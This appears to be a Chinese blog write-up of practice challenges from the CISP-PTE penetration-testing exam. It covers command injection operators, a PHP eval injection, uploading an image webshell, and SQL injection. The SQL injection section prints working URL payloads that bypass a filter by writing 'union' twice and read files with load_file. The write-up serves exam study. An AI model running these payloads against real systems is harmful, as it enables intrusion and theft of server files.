CISP-PTE认证中遇到的CTF题目及WP(一)

0x01 前言

本来想着先补充一文教你xxxxxx(三)的,这到过年了项目还是有点多,报告都没写完,还是先放这篇文章吧,,,,,,CISP-PTE中的题目,毕竟网上的资料比较少,因为考这个呀,,大家毕竟也舍不得分享,,基础题目还是比较简单的,,,

0x02 命令执行

命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。

通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。

请开始答题!

类似于DVWA的命令执行,因为知道是windows的系统,但还是使用了linux的命令,回显竟然是敏感字符,刚开始以为是有股后端WAF过滤了连接服,测试之后才发现并没有。

补充一下连接符的命令:Windows下

a | b #a为真,b执行,a为假,b执行

a || b #a为真,b不执行;a为假,b执行

a && b #a为真,b执行,a为假,b不执行

a&b #a为真,b执行,a为假,b执行

Linux绕过WAF总结

0x03 文件包含

http://10.10.114.230/PTE/3.File_Include1/page.php

源码:

<?php
        error_reporting(0);
        $a=@$_REQUEST['hello'];
        eval("var_dump($a);");
        show_source(__FILE__);
?>

比较简单,分析源码就是get传入参数hello,通过eval去执行dump命令,那么直接构造参数内容,想要执行var_dump($a),hello参数的内容首先就是先闭合var_dump函数,再利用“ ; ”,去拼接一条命令即可,后面拼接的命令就可以使用var_dump打印或者print_r打印,打印的内容就是key.php的内容,payload如下:

?hello=);print_r(file(“key.php”)

?hello=);var_dump(file(“key.php”)

0x04 文件上传

上传测试,仅可以上传png图片,但是重新更改后缀名称,除了php基本上都可以,可以判断出该文件上传起码有三个条件

1.上传的文件必须为图片马

2.检测也是基于内容的检测,图片马中的木马也需要是变形的。

上传图片木马,然后修改后缀即可

访问

连就对了

0x05 SQL注入

随便输入,可以发现并没有过滤什么内容,输入id=1′

select * from article where (id like ‘%1’%’)

看到回显,直接闭合掉,测试注释

?id=1%27)%20order%20by%204%20–+

测试在order by 5的时候报错,说明有四个字段,其实这种情况下直接猜测就可以,页面首先三个字段,标题、作者和内容。那么就直接使用开始进行手工注入

?id=-1%27)%20union%20select%201,2,3,4%20–+

根据回显发现过滤掉了union,那么比较简单双写就可以绕过了

?id=-1%27)%20ununionion%20select%201,database(),3,4%20–+

成功爆出数据库名,根据题目提示需要读取文件,那么使用load_file去读文件就ok了,构造payload

?id=-1%27)%20ununionion%20select%201,load_file(%27/tmp/key%27),3,4%20–+

即可直接读取key

0x06 爆破

burp抓包即可,应该是onserver类型的

登录即可得到key

0x06 结语

前一段时间总结的,本来舍不得放的,,,,ahhh,有考PTE的师傅可以参考一下

刚才翻了一下笔记,预计可能连载到(三),但是一定有(二),,,还包括一下模拟题以及大题未分享,,,,,

文字来源于- 火线 Zone-云安全社区,安全小天地只做文章分享,如有侵权,请联系站长删除

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容